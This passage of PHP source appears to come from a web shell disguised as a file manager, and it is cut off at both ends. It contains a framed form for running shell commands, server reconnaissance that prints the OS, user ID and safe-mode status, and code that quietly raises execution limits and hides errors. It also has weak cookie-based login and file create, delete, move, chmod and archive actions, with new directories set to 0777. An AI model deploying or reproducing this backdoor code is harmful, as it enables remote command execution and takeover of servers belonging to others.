  1948.            <body marginwidth=\"0\" marginheight=\"0\">
  1949.            <table bordercolor=ffffff  border=0 cellspacing=0 cellpadding=0 align=center>
  1950.            <form name=\"data_form\">
  1951.            <tr><td><textarea name=data_out rows=29 cols=80 READONLY=\"1\"></textarea></td></tr>
  1952.            </form>
  1953.            </table>
  1954.            </body></html>";
  1955.         break;
  1956.         case 2:
  1957.             html_header();
  1958.             echo "
  1959.            <body marginwidth=\"0\" marginheight=\"0\">
  1960.            <table bordercolor=ffffff  border=0 cellspacing=0 cellpadding=0 align=center>
  1961.            <form name=\"shell_form\" action=\"".$path_info["basename"]."\" method=\"post\">
  1962.            <input type=hidden name=dir_atual value=\"$dir_atual\">
  1963.            <input type=hidden name=action value=\"9\">
  1964.            <input type=hidden name=shell_form value=\"2\">
  1965.            <tr><td align=center><input type=text size=90 name=cmd_arg></td></tr>
  1966.            </form>";
  1967.             echo "
  1968.            <script language=\"Javascript\" type=\"text/javascript\">
  1969.            <!--";
  1970.             if (strlen($data_out)) echo "
  1971.                var val = '# ".htmlencode($cmd_arg)."\\n".htmlencode(str_replace("<","[",str_replace(">","]",str_replace("\n","\\n",str_replace("\\","\\\\",$data_out)))))."\\n';
  1972.                parent.frame1.document.data_form.data_out.value += val;";
  1973.             echo "
  1974.                document.shell_form.cmd_arg.focus();
  1975.            //-->
  1976.            </script>
  1977.            ";
  1978.             echo "
  1979.            </table>
  1980.            </body></html>";
  1981.         break;
  1982.         default:
  1983.             $aux = "
  1984.            <script language=\"Javascript\" type=\"text/javascript\">
  1985.            <!--
  1986.                window.moveTo((window.screen.width-700)/2,((window.screen.height-500)/2)-20);
  1987.            //-->
  1988.            </script>";
  1989.             html_header($aux);
  1990.             echo "
  1991.            <frameset rows=\"470,*\" framespacing=\"0\" frameborder=no>
  1992.                <frame src=\"".$path_info["basename"]."?action=9&shell_form=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
  1993.                <frame src=\"".$path_info["basename"]."?action=9&shell_form=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
  1994.            </frameset>
  1995.            </html>";
  1996.     }
  1997. }
  1998. function server_info(){
  1999.     if (!@phpinfo()) echo et('NoPhpinfo')."...";
  2000.     echo "<br><br>";
  2001.     $a=ini_get_all();
  2002.     $output="<table bordercolor=ffffff  border=1 cellspacing=0 cellpadding=4 align=center>";
  2003.     while(list($key, $value)=each($a)) {
  2004.         list($k, $v)= each($a[$key]);
  2005.         $output.="<tr><td align=right>$key</td><td>$v</td></tr>";
  2006.     }
  2007.     $output.="</table>";
  2008.     echo $output;
  2009.     echo "<br><br><table bordercolor=ffffff  border=1 cellspacing=0 cellpadding=4 align=center>";
  2010.     $safe_mode=trim(ini_get("safe_mode"));
  2011.     if ((strlen($safe_mode)==0)||($safe_mode==0)) $safe_mode=false;
  2012.     else $safe_mode=true;
  2013.     $is_windows_server = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
  2014.     echo "<tr><td colspan=2>".php_uname();
  2015.     echo "<tr><td>safe_mode<td>".($safe_mode?"on":"off");
  2016.     if ($is_windows_server) echo "<tr><td>sisop<td>Windows<br>";
  2017.     else echo "<tr><td>sisop<td>Linux<br>";
  2018.     echo "</table><br><br><table bordercolor=ffffff  border=1 cellspacing=0 cellpadding=4 align=center>";
  2019.     $display_errors=ini_get("display_errors");
  2020.     $ignore_user_abort = ignore_user_abort();
  2021.     $max_execution_time = ini_get("max_execution_time");
  2022.     $upload_max_filesize = ini_get("upload_max_filesize");
  2023.     $memory_limit=ini_get("memory_limit");
  2024.     $output_buffering=ini_get("output_buffering");
  2025.     $default_socket_timeout=ini_get("default_socket_timeout");
  2026.     $allow_url_fopen = ini_get("allow_url_fopen");
  2027.     $magic_quotes_gpc = ini_get("magic_quotes_gpc");
  2028.     ignore_user_abort(true);
  2029.     ini_set("display_errors",0);
  2030.     ini_set("max_execution_time",0);
  2031.     ini_set("upload_max_filesize","10M");
  2032.     ini_set("memory_limit","20M");
  2033.     ini_set("output_buffering",0);
  2034.     ini_set("default_socket_timeout",30);
  2035.     ini_set("allow_url_fopen",1);
  2036.     ini_set("magic_quotes_gpc",0);
  2037.     echo "<tr><td> <td>Get<td>Set<td>Get";
  2038.     echo "<tr><td>display_errors<td>$display_errors<td>0<td>".ini_get("display_errors");
  2039.     echo "<tr><td>ignore_user_abort<td>".($ignore_user_abort?"on":"off")."<td>on<td>".(ignore_user_abort()?"on":"off");
  2040.     echo "<tr><td>max_execution_time<td>$max_execution_time<td>0<td>".ini_get("max_execution_time");
  2041.     echo "<tr><td>upload_max_filesize<td>$upload_max_filesize<td>10M<td>".ini_get("upload_max_filesize");
  2042.     echo "<tr><td>memory_limit<td>$memory_limit<td>20M<td>".ini_get("memory_limit");
  2043.     echo "<tr><td>output_buffering<td>$output_buffering<td>0<td>".ini_get("output_buffering");
  2044.     echo "<tr><td>default_socket_timeout<td>$default_socket_timeout<td>30<td>".ini_get("default_socket_timeout");
  2045.     echo "<tr><td>allow_url_fopen<td>$allow_url_fopen<td>1<td>".ini_get("allow_url_fopen");
  2046.     echo "<tr><td>magic_quotes_gpc<td>$magic_quotes_gpc<td>0<td>".ini_get("magic_quotes_gpc");
  2047.     echo "</table><br><br>";
  2048.     echo "
  2049.    <script language=\"Javascript\" type=\"text/javascript\">
  2050.    <!--
  2051.        window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
  2052.        window.focus();
  2053.    //-->
  2054.    </script>";
  2055.     echo "</body>\n</html>";
  2056. }
  2057. // +--------------------------------------------------
  2058. function tools_form(){
  2059.    
  2060.     $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  2061. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  2062. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  2063.  
  2064. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  2065. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  2066. {
  2067.  $safemode = TRUE;
  2068.  $hsafemode = "<font color=red>ON (secure)</font>";
  2069. }
  2070. else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (no secure)</font>";}
  2071.     echo "<script language=\"javascript\">
  2072.      function config(){
  2073.                var w = 600;
  2074.                var h = 400;
  2075.                window.open('".$path_info["basename"]."?action=2', 'win_config', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
  2076.        }
  2077.        function server_info(arg){
  2078.                var w = 800;
  2079.                var h = 600;
  2080.                window.open('".$path_info["basename"]."?action=5', 'win_serverinfo', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
  2081.        }
  2082.     function shell(){
  2083.                var w = 700;
  2084.                var h = 500;
  2085.                window.open('".$path_info["basename"]."?action=9', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
  2086.        }
  2087.                
  2088.     </script>";
  2089.     echo "
  2090. <body bgcolor=\"#000000\" style=\"color:006600\">
  2091. <input type=button onclick=\"config()\" value=\"".et('Config')."\">
  2092. <input type=button onclick=\"server_info()\" value=\"".et('ServerInfo')."\">
  2093.  
  2094. <input type=button onclick=\"shell()\" value=\"".et('Shell')."\">
  2095. </body>";
  2096. echo "<br/><b>Software: </b>";
  2097. echo $DISP_SERVER_SOFTWARE;
  2098. echo "<br/><b>System: </b>";
  2099. echo wordwrap(php_uname(),90,"<br>",1);
  2100. echo "<br/><b>User: </b>";
  2101. if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();}
  2102. echo "<br/><b>Safe-mode: </b>";
  2103. echo $hsafemode;
  2104. }
  2105. // | Session
  2106. // +--------------------------------------------------
  2107. function logout(){
  2108.     setcookie("loggedon",0,0,"/");
  2109.     form_login();
  2110. }
  2111. function login(){
  2112.     global $senha,$auth_pass,$path_info;
  2113.     if (md5(trim($senha)) == $auth_pass){
  2114.         setcookie("loggedon",$auth_pass,0,"/");
  2115.         header ("Location: ".$path_info["basename"]."");
  2116.     } else header ("Location: ".$path_info["basename"]."?erro=1");
  2117. }
  2118. function form_login(){
  2119.     global $erro,$auth_pass,$path_info;
  2120.     html_header();
  2121.     echo "<body onLoad=\"if(parent.location.href != self.location.href){ parent.location.href = self.location.href } return true;\">\n";
  2122.     if ($auth_pass != md5("")){
  2123.         echo "
  2124.        <table bordercolor=ffffff  border=0 cellspacing=0 cellpadding=5>
  2125.            <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
  2126.            <tr>
  2127.            <td><b>".et('FileMan')."</b>
  2128.            </tr>
  2129.            <tr>
  2130.            <td align=left><font size=4>".et('TypePass').".</font>
  2131.            </tr>
  2132.            <tr>
  2133.            <td><input name=senha type=password size=10> <input type=submit value=\"".et('Send')."\">
  2134.            </tr>
  2135.        ";
  2136.         if (strlen($erro)) echo "
  2137.            <tr>
  2138.            <td align=left><font color=red size=4>".et('InvPass').".</font>
  2139.            </tr>
  2140.        ";
  2141.         echo "
  2142.            </form>
  2143.        </table>
  2144.             <script language=\"Javascript\" type=\"text/javascript\">
  2145.             <!--
  2146.             document.login_form.senha.focus();
  2147.             //-->
  2148.             </script>
  2149.        ";
  2150.     } else {
  2151.         echo "
  2152.        <table bordercolor=ffffff  border=0 cellspacing=0 cellpadding=5>
  2153.            <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
  2154.            <input type=hidden name=frame value=3>
  2155.            <input type=hidden name=senha value=\"\">
  2156.            <tr>
  2157.            <td><b>".et('FileMan')."</b>
  2158.            </tr>
  2159.            <tr>
  2160.            <td><input type=submit value=\"".et('Enter')."\">
  2161.            </tr>
  2162.            </form>
  2163.        </table>
  2164.        ";
  2165.     }
  2166.     echo "</body>\n</html>";
  2167. }
  2168. function frame3(){
  2169.     global $islinux,$cmd_arg,$chmod_arg,$zip_dir,$fm_root_atual;
  2170.     global $dir_dest,$dir_atual,$dir_antes;
  2171.     global $selected_file_list,$selected_dir_list,$old_name,$new_name;
  2172.     global $action,$or_by,$order_dir_list_by;
  2173.     if (!isset($order_dir_list_by)){
  2174.         $order_dir_list_by = "1A";
  2175.         setcookie("order_dir_list_by", $order_dir_list_by , $cookie_cache_time , "/");
  2176.     } elseif (strlen($or_by)){
  2177.         $order_dir_list_by = $or_by;
  2178.         setcookie("order_dir_list_by", $or_by , $cookie_cache_time , "/");
  2179.     }
  2180.     html_header();
  2181.     echo "<body>\n";
  2182.     if ($action){
  2183.         switch ($action){
  2184.             case 1: // create dir
  2185.             if (strlen($cmd_arg)){
  2186.                 $cmd_arg = formatpath($dir_atual.$cmd_arg);
  2187.                 if (!file_exists($cmd_arg)){
  2188.                     mkdir($cmd_arg,0777);
  2189.                     chmod($cmd_arg,0777);
  2190.                     reloadframe("parent",2,"&ec_dir=".$cmd_arg);
  2191.                 } else alert(et('FileDirExists').".");
  2192.             }
  2193.             break;
  2194.             case 2: // create arq
  2195.             if (strlen($cmd_arg)){
  2196.                 $cmd_arg = $dir_atual.$cmd_arg;
  2197.                 if (!file_exists($cmd_arg)){
  2198.                     if ($fh = @fopen($cmd_arg, "w")){
  2199.                         @fclose($fh);
  2200.                     }
  2201.                     chmod($cmd_arg,0666);
  2202.                 } else alert(et('FileDirExists').".");
  2203.             }
  2204.             break;
  2205.             case 3: // rename arq ou dir
  2206.             if ((strlen($old_name))&&(strlen($new_name))){
  2207.                 rename($dir_atual.$old_name,$dir_atual.$new_name);
  2208.                 if (is_dir($dir_atual.$new_name)) reloadframe("parent",2);
  2209.             }
  2210.             break;
  2211.             case 4: // delete sel
  2212.             if(strstr($dir_atual,$fm_root_atual)){
  2213.                 if (strlen($selected_file_list)){
  2214.                     $selected_file_list = explode("<|*|>",$selected_file_list);
  2215.                     if (count($selected_file_list)) {
  2216.                         for($x=0;$x<count($selected_file_list);$x++) {
  2217.                             $selected_file_list[$x] = trim($selected_file_list[$x]);
  2218.                             if (strlen($selected_file_list[$x])) total_delete($dir_atual.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
  2219.                         }
  2220.                     }
  2221.                 }
  2222.                 if (strlen($selected_dir_list)){
  2223.                     $selected_dir_list = explode("<|*|>",$selected_dir_list);
  2224.                     if (count($selected_dir_list)) {
  2225.                         for($x=0;$x<count($selected_dir_list);$x++) {
  2226.                             $selected_dir_list[$x] = trim($selected_dir_list[$x]);
  2227.                             if (strlen($selected_dir_list[$x])) total_delete($dir_atual.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
  2228.                         }
  2229.                         reloadframe("parent",2);
  2230.                     }
  2231.                 }
  2232.             }
  2233.             break;
  2234.             case 5: // copy sel
  2235.             if (strlen($dir_dest)){
  2236.                 if(strtoupper($dir_dest) != strtoupper($dir_atual)){
  2237.                     if (strlen($selected_file_list)){
  2238.                         $selected_file_list = explode("<|*|>",$selected_file_list);
  2239.                         if (count($selected_file_list)) {
  2240.                             for($x=0;$x<count($selected_file_list);$x++) {
  2241.                                 $selected_file_list[$x] = trim($selected_file_list[$x]);
  2242.                                 if (strlen($selected_file_list[$x])) total_copy($dir_atual.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
  2243.                             }
  2244.                         }
  2245.                     }
  2246.                     if (strlen($selected_dir_list)){
  2247.                         $selected_dir_list = explode("<|*|>",$selected_dir_list);
  2248.                         if (count($selected_dir_list)) {
  2249.                             for($x=0;$x<count($selected_dir_list);$x++) {
  2250.                                 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
  2251.                                 if (strlen($selected_dir_list[$x])) total_copy($dir_atual.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
  2252.                             }
  2253.                             reloadframe("parent",2);
  2254.                         }
  2255.                     }
  2256.                     $dir_atual = $dir_dest;
  2257.                 }
  2258.             }
  2259.             break;
  2260.             case 6: // move sel
  2261.             if (strlen($dir_dest)){
  2262.                 if(strtoupper($dir_dest) != strtoupper($dir_atual)){
  2263.                     if (strlen($selected_file_list)){
  2264.                         $selected_file_list = explode("<|*|>",$selected_file_list);
  2265.                         if (count($selected_file_list)) {
  2266.                             for($x=0;$x<count($selected_file_list);$x++) {
  2267.                                 $selected_file_list[$x] = trim($selected_file_list[$x]);
  2268.                                 if (strlen($selected_file_list[$x])) total_move($dir_atual.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
  2269.                             }
  2270.                         }
  2271.                     }
  2272.                     if (strlen($selected_dir_list)){
  2273.                         $selected_dir_list = explode("<|*|>",$selected_dir_list);
  2274.                         if (count($selected_dir_list)) {
  2275.                             for($x=0;$x<count($selected_dir_list);$x++) {
  2276.                                 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
  2277.                                 if (strlen($selected_dir_list[$x])) total_move($dir_atual.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
  2278.                             }
  2279.                             reloadframe("parent",2);
  2280.                         }
  2281.                     }
  2282.                     $dir_atual = $dir_dest;
  2283.                 }
  2284.             }
  2285.             break;
  2286.             case 71: // compress sel
  2287.             if (strlen($cmd_arg)){
  2288.                 ignore_user_abort(true);
  2289.                 ini_set("display_errors",0);
  2290.                 ini_set("max_execution_time",0);
  2291.                 $zipfile=false;
  2292.                 if (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
  2293.                 elseif (strstr($cmd_arg,".zip")) $zipfile = new zip_file($cmd_arg);
  2294.                 elseif (strstr($cmd_arg,".bzip")) $zipfile = new bzip_file($cmd_arg);
  2295.                 elseif (strstr($cmd_arg,".gzip")) $zipfile = new gzip_file($cmd_arg);
  2296.                 if ($zipfile){
  2297.                     $zipfile->set_options(array('basedir'=>$dir_atual,'overwrite'=>1,'level'=>3));
  2298.                     if (strlen($selected_file_list)){
  2299.                         $selected_file_list = explode("<|*|>",$selected_file_list);
  2300.                         if (count($selected_file_list)) {
  2301.                             for($x=0;$x<count($selected_file_list);$x++) {
  2302.                                 $selected_file_list[$x] = trim($selected_file_list[$x]);
  2303.                                 if (strlen($selected_file_list[$x])) $zipfile->add_files($selected_file_list[$x]);
  2304.                             }
  2305.                         }
  2306.                     }
  2307.                     if (strlen($selected_dir_list)){
  2308.                         $selected_dir_list = explode("<|*|>",$selected_dir_list);
  2309.                         if (count($selected_dir_list)) {
  2310.                             for($x=0;$x<count($selected_dir_list);$x++) {
  2311.                                 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
  2312.                                 if (strlen($selected_dir_list[$x])) $zipfile->add_files($selected_dir_list[$x]);
  2313.                             }
  2314.                         }
  2315.                     }
  2316.                     $zipfile->create_archive();
  2317.                 }
  2318.                 unset($zipfile);
  2319.             }
  2320.             break;
  2321.             case 72: // decompress arq
  2322.             if (strlen($cmd_arg)){
  2323.                 if (file_exists($dir_atual.$cmd_arg)){
  2324.                     $zipfile=false;
  2325.                     if (strstr($cmd_arg,".zip")) zip_extract();
  2326.                     elseif (strstr($cmd_arg,".bzip")||strstr($cmd_arg,".bz2")||strstr($cmd_arg,".tbz2")||strstr($cmd_arg,".bz")||strstr($cmd_arg,".tbz")) $zipfile = new bzip_file($cmd_arg);
  2327.                     elseif (strstr($cmd_arg,".gzip")||strstr($cmd_arg,".gz")||strstr($cmd_arg,".tgz")) $zipfile = new gzip_file($cmd_arg);
  2328.                     elseif (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
  2329.                     if ($zipfile){
  2330.                         $zipfile->set_options(array('basedir'=>$dir_atual,'overwrite'=>1));
  2331.                         $zipfile->extract_files();
  2332.                     }
  2333.                     unset($zipfile);
  2334.                     reloadframe("parent",2);
  2335.                 }
  2336.             }
  2337.             break;
  2338.             case 8: // delete arq/dir
  2339.             if (strlen($cmd_arg)){
  2340.                 if (file_exists($dir_atual.$cmd_arg)) total_delete($dir_atual.$cmd_arg);
  2341.                 if (is_dir($dir_atual.$cmd_arg)) reloadframe("parent",2);
  2342.             }
  2343.             break;
  2344.             case 9: // CHMOD
  2345.             if((strlen($chmod_arg) == 4)&&(strlen($dir_atual))){
  2346.                 if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg;
  2347.                 else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3);
  2348.                 $new_mod = octdec($chmod_arg);
  2349.                 $selected_file_list = explode("<|*|>",$selected_file_list);
  2350.                 if (count($selected_file_list)) for($x=0;$x<count($selected_file_list);$x++) @chmod($dir_atual.$selected_file_list[$x],$new_mod);
  2351.                 $selected_dir_list = explode("<|*|>",$selected_dir_list);
  2352.                 if (count($selected_dir_list)) for($x=0;$x<count($selected_dir_list);$x++) @chmod($dir_atual.$selected_dir_list[$x],$new_mod);
  2353.             }
  2354.             break;
  2355.         }
  2356.         if ($action != 10) dir_list_form();
  2357.     } else dir_list_form();
  2358.     echo "</body>\n</html>";
  2359. }
  2360. function frame2(){
  2361.     global $expanded_dir_list,$ec_dir;
  2362.     if (!isset($expanded_dir_list)) $expanded_dir_list = "";
  2363.     if (strlen($ec_dir)){
  2364.         if (strstr($expanded_dir_list,":".$ec_dir)) $expanded_dir_list = str_replace(":".$ec_dir,"",$expanded_dir_list);
  2365.         else $expanded_dir_list .= ":".$ec_dir;
  2366.         setcookie("expanded_dir_list", $expanded_dir_list , 0 , "/");
  2367.     }
  2368.     show_tree();
  2369. }
  2370. function frameset(){
  2371.     global $path_info;
  2372.     html_header();
  2373.     echo "
  2374.    <frameset cols=\"300,*\" framespacing=\"0\">
  2375.        <frameset rows=\"0,*\" framespacing=\"0\" frameborder=no>
  2376.            <frame src=\"".$path_info["basename"]."?frame=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=no>
  2377.            <frame src=\"".$path_info["basename"]."?frame=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
  2378.        </frameset>
  2379.        <frame src=\"".$path_info["basename"]."?frame=3\" name=frame3 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
  2380.    </frameset>
  2381.    ";
  2382.     echo "</html>";
  2383. }
  2384.  
  2385. class archive
  2386. {
  2387.     function archive($name)
  2388.     {
  2389.         $this->options = array(
  2390.             'basedir'=>".",
  2391.             'name'=>$name,
  2392.             'prepend'=>"",
  2393.             'inmemory'=>0,
  2394.             'overwrite'=>0,
  2395.             'recurse'=>1,
  2396.             'storepaths'=>1,
  2397.             'level'=>3,
  2398.             'method'=>1,
  2399.             'sfx'=>"",
  2400.             'type'=>"",
  2401.             'comment'=>""
  2402.         );
  2403.         $this->files = array();
  2404.         $this->exclude = array();
  2405.         $this->storeonly = array();
  2406.         $this->error = array();
  2407.     }
  2408.  
  2409.     function set_options($options)
  2410.     {
  2411.         foreach($options as $key => $value)
  2412.         {
  2413.             $this->options[$key] = $value;
  2414.         }
  2415.         if(!empty($this->options['basedir']))
  2416.         {
  2417.             $this->options['basedir'] = str_replace("\\","/",$this->options['basedir']);
  2418.             $this->options['basedir'] = preg_replace("/\/+/","/",$this->options['basedir']);
  2419.             $this->options['basedir'] = preg_replace("/\/$/","",$this->options['basedir']);
  2420.         }
  2421.         if(!empty($this->options['name']))
  2422.         {
  2423.             $this->options['name'] = str_replace("\\","/",$this->options['name']);
  2424.             $this->options['name'] = preg_replace("/\/+/","/",$this->options['name']);
  2425.         }
  2426.         if(!empty($this->options['prepend']))
  2427.         {
  2428.             $this->options['prepend'] = str_replace("\\","/",$this->options['prepend']);
  2429.             $this->options['prepend'] = preg_replace("/^(\.*\/+)+/","",$this->options['prepend']);
  2430.             $this->options['prepend'] = preg_replace("/\/+/","/",$this->options['prepend']);
  2431.             $this->options['prepend'] = preg_replace("/\/$/","",$this->options['prepend']) . "/";
  2432.         }
  2433.     }
  2434.  
  2435.     function create_archive()
  2436.     {
  2437.         $this->make_list();
  2438.  
  2439.         if($this->options['inmemory'] == 0)
  2440.         {
  2441.             $pwd = getcwd();
  2442.             chdir($this->options['basedir']);
  2443.             if($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : "")))
  2444.             {
  2445.                 $this->error[] = "File {$this->options['name']} already exists.";
  2446.                 chdir($pwd);
  2447.                 return 0;
  2448.             }
  2449.             else if($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""),"wb+"))
  2450.             {
  2451.                 chdir($pwd);
  2452.             }
  2453.             else
  2454.             {
  2455.                 $this->error[] = "Could not open {$this->options['name']} for writing.";
  2456.                 chdir($pwd);
  2457.                 return 0;
  2458.             }
  2459.         }
  2460.         else
  2461.         {
  2462.             $this->archive = "";
  2463.         }
  2464.  
  2465.         switch($this->options['type'])
  2466.         {
  2467.         case "zip":
  2468.             if(!$this->create_zip())
  2469.             {
  2470.                 $this->error[] = "Could not create zip file.";
  2471.                 return 0;
  2472.             }
  2473.             break;
  2474.         case "bzip":
  2475.             if(!$this->create_tar())
  2476.             {
  2477.                 $this->error[] = "Could not create tar file.";
  2478.                 return 0;
  2479.             }
  2480.             if(!$this->create_bzip())
  2481.             {
  2482.                 $this->error[] = "Could not create bzip2 file.";
  2483.                 return 0;
  2484.             }
  2485.             break;
  2486.         case "gzip":
  2487.             if(!$this->create_tar())
  2488.             {
  2489.                 $this->error[] = "Could not create tar file.";
  2490.                 return 0;
  2491.             }
  2492.             if(!$this->create_gzip())
  2493.             {
  2494.                 $this->error[] = "Could not create gzip file.";
  2495.                 return 0;
  2496.             }
  2497.             break;
  2498.         case "tar":
  2499.             if(!$this->create_tar())
  2500.             {
  2501.                 $this->error[] = "Could not create tar file.";
  2502.                 return 0;
  2503.             }
  2504.         }
  2505.  
  2506.         if($this->options['inmemory'] == 0)
  2507.         {
  2508.             fclose($this->archive);
  2509.             chmod($this->options['name'],0666);
  2510.             if($this->options['type'] == "gzip" || $this->options['type'] == "bzip")
  2511.             {
  2512.                 unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
  2513.             }
  2514.         }
  2515.     }
  2516.  
  2517.     function add_data($data)
  2518.     {
  2519.         if($this->options['inmemory'] == 0)
  2520.         {
  2521.             fwrite($this->archive,$data);
  2522.         }
  2523.         else
  2524.         {
  2525.             $this->archive .= $data;
  2526.         }
  2527.     }
  2528.  
  2529.     function make_list()
  2530.     {
  2531.         if(!empty($this->exclude))
  2532.         {
  2533.             foreach($this->files as $key => $value)
  2534.             {
  2535.                 foreach($this->exclude as $current)
  2536.                 {
  2537.                     if($value['name'] == $current['name'])
  2538.                     {
  2539.                         unset($this->files[$key]);
  2540.                     }
  2541.                 }
  2542.             }
  2543.         }
  2544.         if(!empty($this->storeonly))
  2545.         {
  2546.             foreach($this->files as $key => $value)
  2547.             {
  2548.                 foreach($this->storeonly as $current)
  2549.                 {
  2550.                     if($value['name'] == $current['name'])
  2551.                     {
  2552.                         $this->files[$key]['method'] = 0;
  2553.                     }
  2554.                 }
  2555.             }
  2556.         }
  2557.         unset($this->exclude,$this->storeonly);
  2558.     }
  2559.  
  2560.  
  2561.     function add_files($list)
  2562.     {
  2563.         $temp = $this->list_files($list);
  2564.         foreach($temp as $current)
  2565.         {
  2566.             $this->files[] = $current;
  2567.         }
  2568.     }
  2569.  
  2570.     function exclude_files($list)
  2571.     {
  2572.         $temp = $this->list_files($list);
  2573.         foreach($temp as $current)
  2574.         {
  2575.             $this->exclude[] = $current;
  2576.         }
  2577.     }
  2578.  
  2579.     function store_files($list)
  2580.     {
  2581.         $temp = $this->list_files($list);
  2582.         foreach($temp as $current)
  2583.         {
  2584.             $this->storeonly[] = $current;
  2585.         }
  2586.     }
  2587.  
  2588.     function list_files($list)
  2589.     {
  2590.         if(!is_array($list))
  2591.         {
  2592.             $temp = $list;
  2593.             $list = array($temp);
  2594.             unset($temp);
  2595.         }
  2596.  
  2597.         $files = array();
  2598.  
  2599.         $pwd = getcwd();
  2600.         chdir($this->options['basedir']);
  2601.  
  2602.         foreach($list as $current)
  2603.         {
  2604.             $current = str_replace("\\","/",$current);
  2605.             $current = preg_replace("/\/+/","/",$current);
  2606.             $current = preg_replace("/\/$/","",$current);
  2607.             if(strstr($current,"*"))
  2608.             {
  2609.                 $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/","\\\\\\1",$current);
  2610.                 $regex = str_replace("*",".*",$regex);
  2611.                 $dir = strstr($current,"/")? substr($current,0,strrpos($current,"/")) : ".";
  2612.                 $temp = $this->parse_dir($dir);
  2613.                 foreach($temp as $current2)
  2614.                 {
  2615.                     if(preg_match("/^{$regex}$/i",$current2['name']))
  2616.                     {
  2617.                         $files[] = $current2;
  2618.                     }
  2619.                 }
  2620.                 unset($regex,$dir,$temp,$current);
  2621.             }
  2622.             else if(@is_dir($current))
  2623.             {
  2624.                 $temp = $this->parse_dir($current);
  2625.                 foreach($temp as $file)
  2626.                 {
  2627.                     $files[] = $file;
  2628.                 }
  2629.                 unset($temp,$file);
  2630.             }
  2631.             else if(@file_exists($current))
  2632.             {
  2633.                 $files[] = array('name'=>$current,'name2'=>$this->options['prepend'] .
  2634.                     preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($current,"/"))?
  2635.                     substr($current,strrpos($current,"/") + 1) : $current),'type'=>0,
  2636.                     'ext'=>substr($current,strrpos($current,".")),'stat'=>stat($current));
  2637.             }
  2638.         }
  2639.  
  2640.         chdir($pwd);
  2641.  
  2642.         unset($current,$pwd);
  2643.  
  2644.         usort($files,array("archive","sort_files"));
  2645.  
  2646.         return $files;
  2647.     }
  2648.  
  2649.     function parse_dir($dirname)
  2650.     {
  2651.         if($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/",$dirname))
  2652.         {
  2653.             $files = array(array('name'=>$dirname,'name2'=>$this->options['prepend'] .
  2654.                 preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname,"/"))?
  2655.                 substr($dirname,strrpos($dirname,"/") + 1) : $dirname),'type'=>5,'stat'=>stat($dirname)));
  2656.         }
  2657.         else
  2658.         {
  2659.             $files = array();
  2660.         }
  2661.         $dir = @opendir($dirname);
  2662.  
  2663.         while($file = @readdir($dir))
  2664.         {
  2665.             if($file == "." || $file == "..")
  2666.             {
  2667.                 continue;
  2668.             }
  2669.             else if(@is_dir($dirname."/".$file))
  2670.             {
  2671.                 if(empty($this->options['recurse']))
  2672.                 {
  2673.                     continue;
  2674.                 }
  2675.                 $temp = $this->parse_dir($dirname."/".$file);
  2676.                 foreach($temp as $file2)
  2677.                 {
  2678.                     $files[] = $file2;
  2679.                 }
  2680.             }
  2681.             else if(@file_exists($dirname."/".$file))
  2682.             {
  2683.                 $files[] = array('name'=>$dirname."/".$file,'name2'=>$this->options['prepend'] .
  2684.                     preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname."/".$file,"/"))?
  2685.                     substr($dirname."/".$file,strrpos($dirname."/".$file,"/") + 1) : $dirname."/".$file),'type'=>0,
  2686.                     'ext'=>substr($file,strrpos($file,".")),'stat'=>stat($dirname."/".$file));
  2687.             }
  2688.         }
  2689.  
  2690.         @closedir($dir);
  2691.  
  2692.         return $files;
  2693.     }
  2694.  
  2695.     function sort_files($a,$b)
  2696.     {
  2697.         if($a['type'] != $b['type'])
  2698.         {
  2699.             return $a['type'] > $b['type']? -1 : 1;
  2700.         }
  2701.         else if($a['type'] == 5)
